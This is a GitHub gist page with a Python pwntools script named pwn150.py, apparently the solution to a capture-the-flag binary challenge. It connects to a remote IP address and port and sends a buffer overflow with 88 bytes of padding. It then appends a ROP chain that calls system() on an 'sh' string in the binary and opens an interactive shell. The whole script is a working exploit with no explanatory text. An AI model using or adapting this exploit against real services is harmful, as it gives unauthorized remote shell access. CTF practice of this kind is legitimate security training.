Skip to content

Instantly share code, notes, and snippets.

@Becojo

Becojo/pwn150.py

Last active July 30, 2017 21:06
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Becojo/321f33d0e1e619b5f46d141f4fe5b547 to your computer and use it in GitHub Desktop.
Save Becojo/321f33d0e1e619b5f46d141f4fe5b547 to your computer and use it in GitHub Desktop.
Download ZIP
Raw
pwn150.py
from pwn import *
context.arch = 'amd64'
elf = ELF('./pwn150')
# p = process('tee i | ./pwn150', shell=True)
p = remote("54.153.19.139", 5253)
offset = 88
payload = 'a' * (offset)
rop = ROP(ELF('pwn150'))
rop.system(next(elf.search("sh\x00")))
payload += str(rop)
p.sendline(payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment